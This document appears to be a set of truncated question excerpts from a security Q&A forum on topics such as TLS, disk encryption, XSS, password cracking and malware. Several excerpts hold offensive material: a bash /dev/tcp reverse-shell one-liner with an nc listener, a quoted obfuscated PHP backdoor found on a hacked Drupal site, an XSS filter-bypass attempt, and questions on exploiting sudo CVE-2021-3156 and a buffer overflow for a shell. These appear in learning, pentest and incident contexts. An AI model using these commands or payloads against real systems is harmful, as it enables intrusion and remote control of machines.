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Two part question: 1-How do memory resident viruses stay in memory after the program which loaded them is finalized? If all memory is automatically deallocated by the OS once a program is finished, how could then the malicious code survive? Does it instead create a separate executable file which then runs in backgroun...
For a test to find vulnerabilities I found the following code in a page and I am looking for ways to manipulate it: <script> func({ "key1": "value", "object": { "key2": "value", "key3": "<?php echo htmlspecialchars($_GET['param']); ?>", "key4": "value", } }, "string"); ...
I ran an nmap scan on my iPad’s IP address and the results showed the following ports listed below available in a filtered state. See screenshot for the actual terminal results. SSH Netbios-ssn ms-wbt-server (Remote Desktop) 4 different VNC ports And an iPhone Sync port This can’t be normal, right? There are no ap...
If I understand correctly section 4.2 in Jacques Stern, David Pointcheval, John Malone-Lee, and Nigel P. Smart's Flaws in Applying Proof Methodologies to Signature Schemes, in proceedings of Crypto 2002, they describe an attack that allows premeditated substitution of ECDSA-signed message by the signer. Per their notat...
I understand that a tls has to be established between the supplicant (end user device) and the auth server but a few things are unclear : How does the supplicant know the ip adress of the auth server ? The supplicant is not granted access yet it has to communicate with tls, does that mean it is granted a temporary loc...
I am trying to execute the sudo buffer overflow (CVE-2021-3156) on one of my systems, but haven't got it working yet. The system is definitely vulnerable (taking into account sudo version and sudoedit -A -s \\ output (malloc error). I created a VM with the same Linux version (but no other files) and it worked there. I ...
I am pentesting a website and I found that I can inject code at value="" <input type="text" id="search_1" name="keyword" placeholder="Search by keyword" value="XSS?" class="search-input input-group-field with-floating-label" data-module="autocomplete" required>` I can enter all characters except double quotes (") beca...
I am trying to implement a case where a user provides us some html code which is then stored in our database. We then retrieve the HTML from our database as a string. (We have no control over the user input) I try to embed this html using const htmldoc = [the raw html] <iframe sandbox="allow-scripts" srcdoc=htmldoc> </...
Ok so I get the benefit that PKCE provides. Without it, the attacker knows your client_secret and by registering the same URL scheme as your application on mobile, can intercept the redirect with the auth code, and then use it along with your client_id and client_secret to receive an access token to the user's resource...
The hash I am trying to break is 279412f945939ba78ce0758d3fd83daa, it's part of a task for learning John. I created a file hash.txt using: echo -n 279412f945939ba78ce0758d3fd83daa > hash.txt. Then, I tried running hashid over it and it gave me md2, md5 and md4 and many more. So I used, ./john --wordlist=rockyou.txt --f...
I'm reading "Introduction to Computer Security", Pearson New International Edition, 1st edition, by Goodrich and Tamassia. On the subject of DNS cache poisoning, they mention that a "new" attack was discovered in 2008, so-called "subdomain DNS cache poisoning". This is how that attack is supposed to play out: An attac...
Provider suggests me two types of SSL certificates: for domain only or for domain and subdomains. First one is cheaper. Currently I already have certificate for previous year. How to know, if it was bought for domain only or for domain and subdomains?
At my university, we are learning how to use SSH for server administration. We learned that SSH is secure, but there are some tools that allow man-in-the-middle attacks on SSH. How can such tools intercept SSH when it is encrypted? I have tried Wireshark but was not able to read the data. Wireshark is only able to read...
PHP 7 uses the default system folder (/tmp) to store uploaded files. PHP allows you to change the settings and change the upload destination directory. Some sites indicate to change this folder to another one, since the /tmp permission is 777. OWASP has nothing listed in the security recommendations. Should I really wo...
I am trying to use Freeradius 3.0 for authentication with certificates. To generate the CA, Server and Client certificate, make is available, reading a specific configuration file for each certificates (more information about it here). The generated private key of the server and the client is encrypted by a password se...
I noticed suddenly something weird on my PC. I am currently in Italy, Google all of a sudden is displayed in Arabic, and my IP is from an ISP in Czech Republic, and it is obviously different from the Italian ISP I am connected to. In my phone with only WIFI enabled and mobile data disabled, I can see that the IP assign...
When sending a request (POST, PUT, etc). I have a security requirement to ensure that the data in the payload has not been tampered with. In other words I need to know with certainty that the data entered was entered by the user and has not been intercepted in flight with additional or altered data. What are strategies...
I wonder what a small startup would typically do concerning third-party compliance? Are you expected to send third-party vendors a security questionnaire? Do you need to do that regularly?
I'm interested in using GNU/Linux for different reasons. Partly for freedom, privacy, and security. But also to force myself to learn Linux. One issue I’ve found is that desktop Linux seems to have fairly poor security by default which is a little odd considering GNU/Linux is often recommended by security experts in ce...
There are several ways to track how a user interacts with a website, including mouse position and clicks. Does the same apply to taking screenshots though? Can a website track browser or system related hotkeys? For example, which of the following would reveal either clicks or keystrokes (assuming they were pressed whil...
What is the difference between a Remote Access Trojan and a hidden Virtual Network Computing? It seems that both software allows a hacker to access a victim's computer and to spy on activity.
I understand that, when storing data on the cloud or something else that might get leaked to the public, the security margin should be at least 128 bit, 256 bit should be used for data that should stay secure over 20-30 years. If I use a storage mechanism (like WebStorageAPI) to store data of my application on the clie...
Fastly WAF service was down a while ago, and it has affected a lot of major internet platforms and sites such as Amazon, PayPal, eBay, Spotify, HBO Max, the UK's main government website - Gov.uk, and many more. This has affected dozens of countries across North & South America, Europe, Asia, and South Africa. How can o...
I've been looking into this very useful remote pair programming plugin from JetBrains called Code With Me, but want to understand all the security implications. From their FAQ page: How is data transferred through JetBrains servers? Your project and solution data is transferred through JetBrains servers encrypted en...
Does the design and implementation of the content security policy standard allow for the introduction of new unsafe behavior that wasn't there prior to having any CSP at all? For example if my starting point is having no CSP headers or policy at all and I then introduce a CSP which contains: unsafe-eval unsafe-inline ...
If I change the password of my PGP key (I use it to sign Git commit) on Computer A, does it affect the same PGP key that I have on the Computer B? Will I still be able to use the PGP key on Computer B with the old passphrase?
I use Fedora Linux and was recently looking into doing Full Disk Encryption on data drives such as /home on some of my / my family's PCs. I understand that LUKS security will be partially dependent on having strong passwords and not doing very obviously stupid things (saw some articles where people were auto-unlocking ...
We have some functionality in our system which sends emails to our customers, where the emails contain secure links with an embedded code. Whilst inspecting our firewall logs I noticed something unusual. Sometimes (say 10% of cases), when I see a request with a valid code (where the code is in the url params), I see a ...
If I have a VirtualBox VM running Kali Linux, can I use its diagnostic tools to search for malware on the host?
I recently found out that HDMI cables (v1.4 and over) have ethernet capabilities for higher res output, so I want to know one thing: Say I have a PC/laptop connected to the internet, and a monitor (not a smart TV) connected to the PC/laptop via an HDMI cable (v1.4 and over). Does the monitor now pose a threat to my loc...
My drupal website was getting hacked recently. While cleaning up the malicious scripts, I found that the hacker uploaded an image file (sites/default/files/test.jpg) contains below code. error_reporting(0); require_once('includes/session.inc'); $serialized = 'a:36:{i:0;s:320:"aWYoIWNsYXNzX2V4aXN0cygnUmF0ZWwnKSl7aWYoZnV...
I have an application that is installed at customer premises. This sometimes has to communicates with their server(PACS server), and the details are configured in our application. I have to enable TLS for secure communication between these two entities. Our application can be configured to communicate with multiple ser...
When a HTTPS connection with a client certificate request is done, the client sends a CertificateVerify message with his public certificate so the server can verify that the client has a valid private certificate that matches the public key. This CertificateVerify has a signed hash made from a common client and server ...
I'm using RNGCryptoServiceProvider.GetBytes(new byte[16]) to generate IV's to use in AES (256 bits) encryption. For every record I encrypt, I generate a new IV. I'm also prepending each of these IV's to the encrypted text (to avoid storing them on a different column in the DB), as I guess is the standard. However, to d...
I've recently begun learning about Cyber Security related to Bluetooth. I toggled the "Show Bluetooth devices without names" (or something similar) in my phone in developer mode and went to the supermarket. I detected tens of previously undetectable Bluetooth MAC addresses. When I looked them up online in sites such as...
Doing malware analysis I'm interested in being able to log every instruction the CPU executes for a given process. I was hoping this was perhaps possible in a standard VM environment, even if not possible in a bare-metal execution scenario. I'm interested specifically in Windows 10 for now. To be clear, I don't mean in...
UPDATED Summary: I'm looking at Linux FDE options that are transparent to the user (my parents) in that the user doesn't need to enter 2 passwords. I found/thought of several options and tried to think through the security implications of each... but I am not great at infosec. Mostly I am wanting to verify that I have ...
I have a Spring-MVC webapp deployed on a Hostinger VPS server (OS: Ubuntu 18.04, Apache2 + Tomcat servers). For some reason, every now and then, clicking on random regions within the web pages of my webapp causes malicious advert pages to open. The whole code for the webapp was written by myself and I have avoided usin...
The EAL for Common Criteria are described briefly as: EAL1: Functionally Tested. ... EAL2: Structurally Tested. ... EAL3: Methodically Tested and Checked. ... EAL4: Methodically Designed, Tested, and Reviewed. ... EAL5: Semi-Formally Designed and Tested. ... EAL6: Semi-Formally Verified Design and Tested. ... EAL7: For...
When performing a passive packet capture of a network, I have seen a large amount of traffic being broadcast using different protocols. These protocols are primarily used to perform some kind of traffic routing/fail over/redundancy in case a device goes down in the topology. Several of these protocols have known weakne...
Physical 2FA tokens, such as smart cards or YubiKeys, are becoming more popular in large companies for authentication purposes. However, one issue with them is availability: When a physical 2FA token is lost or gets broken, the user is by design not able to authenticate anymore. How should a company manage their physic...
Malwarebytes on Android includes a file scanner. Is it known or claimed to be sandboxed, by anything more than the Android sandbox for the Malwarebytes app? Or does it avoid using any parser code in languages with low memory safety (C, C++ etc)? Perhaps they have been independently certified, for protecting their file...
I'm curious to know if an attacker can fundamentally exploit the debugging process. I'm not asking if specific debugging tools have been exploitable, surely some have, but rather whether the process of debugging - any and perhaps every debugging tool - is vulnerable to being lied to or used as an attack surface. If the...
Signing up for a medical records service today, in addition to security questions (sigh) I was prompted with a field that read: Security Phrase for Email Messages: Your security phrase will be included with all email communications to verify that you received the email from <service> (this is not your password or secu...
Isn't it very simple for one rogue programmer in a big institution to add a small code change in the application/website thereby sending unintended HTTP DDoS attacks? Like is it possible for Tiktok/Facebook to do this? Like, every time I slide the screen, a POST/GET request goes to some target website/application that ...
Suppose that I have a Veracrypt container on Windows 10. I unlock it, open and edit a Text document, open an image, watch a video. Then I close all files, unmount the container. Then I run CCleaner to remove caches (including thumbnail) and wipe the free space on my hard (not SSD) drive. Then I run cipher wipe on the d...
So I used Qemu on Ubuntu 20 to emulate a computer running windows 10. I kept all of Qemu default values. Then, while installing the Windows 10 iso, I kept all the default values once again. Finally, I went on : https://amiunique.org/fp And the site tells me my browser fingerprint is unique! In theory, Qemu can emulate ...
JTAG System software debug support is for many software developers the main reason to be interested in JTAG. Many silicon architectures such as PowerPC, MIPS, ARM, x86 built an entire software debug, instruction tracing, and data tracing infrastructure around the basic JTAG protocol. - source I'd like to know if ther...
CWE-117 is the common weakness enumeration for improper output neutralization in logs. My company uses VeraCode to scan for security weaknesses. Veracode indicated that this code had a output neutralization weakness: catch (Exception e) { _logger.ErrorFormat(_loggerFormat, "An error occurred (while doing somethin...
I read this: How strict should I be in rejecting unexpected query parameters? Answer: No, do not error out on unexpected query string parameters. But I just got a requirement from our security guy that I must do so. Not only for unexpected query string, but also unexpected cookies, headers, and unexpected everything. R...
I have an API that requires a security token to run. Is it possible to use Fail2Ban or ModEvasive to block access from IPs that often try to access the API with an incorrect token? I use PHP to receive these requests, is it possible with it to inform Fail2Ban or ModEvasive that the user's IP should be blocked (temporar...
I am working on writing the privacy policy of a web-app I programmed. I want to tell users about the security measures I have in place (e.g. sha512, variable-length unique salts, and more) but am worried that in the case of data-breach such information would provide additional ammunition for a hacker. Obviously on the ...
How do I bypass a regex filter that filters all html to avoid xss? I've tried using things like &lt;img src="aa" onerror="alert(1)"&gt; but still no luck. This is for a CTF challenge btw. The regex is: <[\s\S]*> and the validator is running on a TypeScript server
Normally, The Document Foundation (TDF) publishes the SHA-256 and SHA-1 hashes, along with the MD5 checksum, for all LibreOffice releases. For example, see this. However, for their current release (v7.1.4), TDF did not publish any hashes or even a checksum (see this and this). Besides compiling from the source code, w...
I've been asked to ensure that our vulnerability scanning tools (like Qualys, Nexpose) are able to reach all of our AWS EC2 instances, on all ports and protocols. Today they are limited by the current security groups (which generally allow either no traffic, or well-defined protocols such as HTTPS). We could implement ...
I was experiencing an issue on one of my webpages, where an AJAX call is made to another script on the server to generate some files for download. Depending on things like server load, number of files needed, etc., the call was timing out. I took the suggestion in this answer, and adjusted the code to make an initial A...
In a talk from Moxie Marlinspike he mentioned that Signal does not intend to release a web application because they are impossible to audit. The javascript code is retrieved on each page load, so it would be trivial to send malicious code that gathers the users keys once in a while without the users noticing. Why is th...
Let us imagine a situation where a company stores its user passwords (let's ignore salts, etc for now) using some hash (say sha256) and the company gets breached. All of the username and password details are now public. The passwords are hashed, thanks to the hashing algorithm. Now someone with ill intent gets their ha...
In this question I asked about how to handle situations when SHA-256 hashes are not available for a file downloaded from the internet that contains executable code. Another community member insightfully asked if a hash is really needed to validate the download (in this case, LibreOffice), since it is a digitally signe...
A few days ago, Let's Encrypt discovered that they misinterpreted RFC 5280, thus making every certificate they issued valid for one second longer than expected. The associated issue on Mozilla bug tracker definitively looks serious, and some people are suggesting revoking all current Let's Encrypt certificates (about 1...
In Digital Signature Scheme, is it possible to forge a message just by knowing the secret key, or does the attacker should also know the hash function used by the original sender? Also does the secret-public key pair change for every message or does it remain the same?
I have a basic question on workflow of SSL enabled sites from client browser to server. My understanding is when the browser has to access some https enabled site, the browser contacts some CAs. I am assuming that the browser will know (through hardcoded information in browser code) IP addresses of some certificate aut...
We are a SaaS-based product but one of the client requirement is to make our application accessible only on their intranet. Is that even possible?
I have an service that accepts an HTTP POST request from the end-user's browser. The user passes their only email. I intend the server to generate a token and store this in a database, and email them the HMAC'd token as a means of implementing a "magic sign in" link. Here is some pseudo-code: SendSignInLinkToEmail(emai...
I have a server that is accessed only via local network in my VPS, as it is local it does not have a domain, it is accessed only via IP (ex.: http://localhost/routine.php). This server will only be accessed via curl through my other servers. Even though it's local, do I need to create an SSL certificate to enable HTTPs...
A quality answer to this question mentions: "System is regularly updated with latest patch specifically certificate/CRL from trusted source such as Microsoft." How does one update certificates/CRL on Windows 7 systems that do not currently have any support contracts? (An attempt to stay on-topic: Please do not use the ...
I am using CryptoJS AES 256 encryption: CryptoJS.AES.encrypt(string, secret); The secret is generated through: function generateKey(str) { const salt = CryptoJS.lib.WordArray.random(128 / 8); const key512Bits = CryptoJS.PBKDF2(str, salt, { keySize: 512 / 32, iterations: 100000 }); return key512Bits.to...
It just doesn't make any sense to me. Any owner of a original PS game disk has full access to it, so it shouldn't be a problem to create an identical disk, isn't it? And PS won't be able to tell apart identical disks, will it?
I can find oodles of websites that tell me the server retains the public key and the client retains the private key. But nothing on how the client authenticates to the server and - perhaps - how the server authenticates to the client
I successfully got a reverse shell: nc -lnvp 8000 # in Kali /bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine I tried to upgrade it in the standard way: python -c 'import pty; pty.spawn("/bin/bash")' CTRL + Z stty raw -echo fg export TERM=xterm However, after running stty raw -echo and bringing t...
I got a gmail from discord saying a new account had been registered and prompting me to click a verification link. Weirdly, I never made that account, and I already had a discord account under my gmail. Of course, I didn't click the verification link. I checked and was luckily able to log into my discord account, and c...
I would like to know how to use the -extensions parameter of openssl req command to generate a csr with basicConstraint=CA:False, Please not i do not want to use a ssl configuration file but to generate the csr with command line only without referring to a openssl.cnf file. Is this possible ? Thank you.
There are plenty of instructions for converting PEM certificates to DER which also pop up when looking for ways to convert public keys. These are among the options offered: openssl x509 -in cert.pem -out cert.der openssl rsa -in cert.pem -out cert.der openssl pkey -in cert.pem -out cert.der But if the file contains on...
Today I created a web application. I'm using this csp to avoid xss attacks. CSP: Content-Security-Policy", `child-src 'none'; connect-src 'none'; default-src 'none'; font-src 'none'; frame-src 'none'; img-src 'none'; manifest-src 'none'; media-src 'none'; object-src 'none'; prefetch-src 'none'; script-src 'report-sampl...
I recently came across a topic of network steganography, mostly connected with modifying the headers of IP, TCP, ICMP. I was looking for some real-world examples of malware that uses it. I only found two ICMP related examples - Nanolocker and Pingback. But I have a hard time finding ones connected with IP and TCP. Do y...
TLDR; Copying the request from ChromeDevTools along with all cookies allows me to view pages that I should not be able to view after logging in. Have I been pwned ? I just found a terrifyingly easy way to view pages that should be visible to someone only if they are logged in. Let's say I hit the URL www.xyz.com/profi...
My mom wants to find a way to store information securely and host it remotely and wants to host our own mini-server on a Raspberry Pi that'll have contact information of the customers. My sister said to save it in the database of the site but I said if the site gets hacked then it'll expose all that personal informatio...
I received an email, purporting to be from Microsoft Account as a Security Alert. The address looks legit (account-security-noreply@accountprotection.microsoft.com) but the problem is, the email address they refer to in the body of the email is not a Microsoft address. As a matter of fact, it's an @mac.com address. Eve...
I'm looking for a compact, canonical (and possibly but not necessarily human-readable) format for serializing the signature chain for a RRset (or proof that it lies under an insecure delegation) for permanent recording and offline checking, and having trouble finding anything. All of the tool I've used (dig, delv, onli...
Fuchsia's possible Android replacement uses the Zircon microkernel. This means that the drivers should run in userspace. Is this an advantage over Android? For example, closed source drivers now can't do anything they want with the kernel. They can't read/write to arbitrary memory areas, except of course by using an ex...
If I use Google Authenticator for Coinbase, and someone sim-swaps my phone number and gains full access to my email account, can they drain my Coinbase account? They would be in control of my email, sms, and phone calls.
Today Ubuntu (and some other distros) offer a new way to install software, which is snaps. It's software packaged with all its dependencies, run with some kind of containerization, and auto-updated. This might make it sound like it's definitely a safer option, but when you think about it it actually depends on several ...
I have this program that uses ASLR and it leaks information when i overflow a buffer, namely the address of printf. Furthermore i can overwrite the return address. How can i use this to spawn a shell? My approach would have been to calculate the relative offset of system() function with repsect to printf since it is i...
Suppose that VSS is enabled and snapshots exist. If I run a program to wipe the free disk space on my drive, would this delete the VSS snapshots? It might do since the program works by filling up the drive by creating a growing file, and once the file gets really large, Windows might delete the VSS copies due to lack o...
We have a web service where logged in users can create web page content and write custom CSS for their pages. All the HTML goes through a whitelist parser and doesn't allow any executable content. All the CSS is put through a whitelist parser that verifies all CSS. It seems that browsers do not execute JavaScript embed...
I have OSX. Time machine takes periodic backups. This backup is encrypted. If my machine were to be infected and locked by ransomware, what prevents the backup from also being comprised as it is just attached storage? I believe that once decrypted (after prompt) it is just as vulnerable as the main SSD. It could be att...
What is the best alternative to encrypting data to use it in a cookie so that i can decrypt it later to validate the user data? Currently saved: Login - Password and IP in an array and then encrypt it with the function. is that safe? $user_log = array(); $user_log[] = ['ip' => $user_ip, 'login' => $user, 'pass' => $pas...
There are some settings found on Device Manager > Ethernet Driver > Advanced Tab. Are there suggestions for any of these settings? or any suggestion to improve ethernet driver security? Adaptive Inter-Frame Spacing Enable PME Energy Efficient Ethemet Flow Control Gigabit Master Slave Mode Interrupt Moderation Inter...
Numerous mobile applications allow me to "Login with Google". From technical perspective, I assume this would usually follow those OAuth native app login integration guidelines: https://developers.google.com/identity/protocols/oauth2/native-app From user perspective, on both iOS and Android an embedded window of system...
Let's take some examples: Pay Pal, Apple Pay (examples via Saferpay) - will not load in an iFrame Visa Checkout, Stripe (example), Saferpay (link above) - credit card data can be input in an iFrame Is there any technical/security reason why payment service providers differ in their approach to restricting iframe usag...
I'm a 16 y old student who has recently finished 10th grade and has always been interested for tech. I knew some Windows tricks, and few more. Gaming and Netflix really occupied my time, but playing videogames started to bore me. A few months back, I bought a Raspberry Pi to install Plex and I enjoyed playing around wi...
I am planning to use an opensource library to my project instead of developing from scratch. How can I verify there is no malicious code in the library or someone cannot access my files? Currently Visual Studio code implements Workspace Trust and some extensions are disabled even though the extensions are licensed by a...
I have the shadow file from an embedded device running linux. Trying to use John to crack it. There is only the 'root' hash in the shadow file. 12 seconds in, John finds the password for 'root', but the program hasn't stopped trying. JohnFAQ says "The four speed metrics are as follows: g/s is successful guesses per se...
I'd like to encrypt some data on the server using a user-managed secret. I could just ask for a password and derive a key from that, but ideally I'd like to offer users the option of using a yubikey to safeguard the data. This way it would be more resistant to a DB leak scenario and potentially avoid replay attacks. If...
I'm writing a chrome extension that evaluates certain code blocks from GitHub pages, e.g., Lorem ipsum ```html-embed <iframe></iframe> ``` dolor site amet. and adds their content as HTML to the page. Is this potentially dangerous, i.e., is there malicious HTML?
Is it possible to change the string of EICAR file and still detectable? For example, print "KGMAL" instead of "EICAR".
Long story short: I was using AES CBC PKCS5 on my image server, but I lost my keys (one key per image). I know the first 61 bytes (the original and the encrypted) of each image plus I know the IV, and the key length is 256. My question is that can I compute the key from these things?
So if increasing the number of iterations makes the computation power needed more in a linear way. Wouldn't that be a small increase compared to even a single more character added to your password? Even assuming you make your iterations take several seconds, that would only be as much as somewhere around 3 added charac...
Using my own domain on Proton Mail is cool, but what if someone hack my namecheap account? What if some government orders that my domain is redirected? Should I use @protonmail instead of @mydomain? What are the implications?
A web application firewall (WAF) is an application firewall for HTTP applications. It applies a set of rules to an HTTP conversation. Generally, these rules cover common attacks such as Cross-Site Scripting (XSS) and SQL Injection. So from what I understand, this will handle only HTTP. What will happen if HTTPS traffic...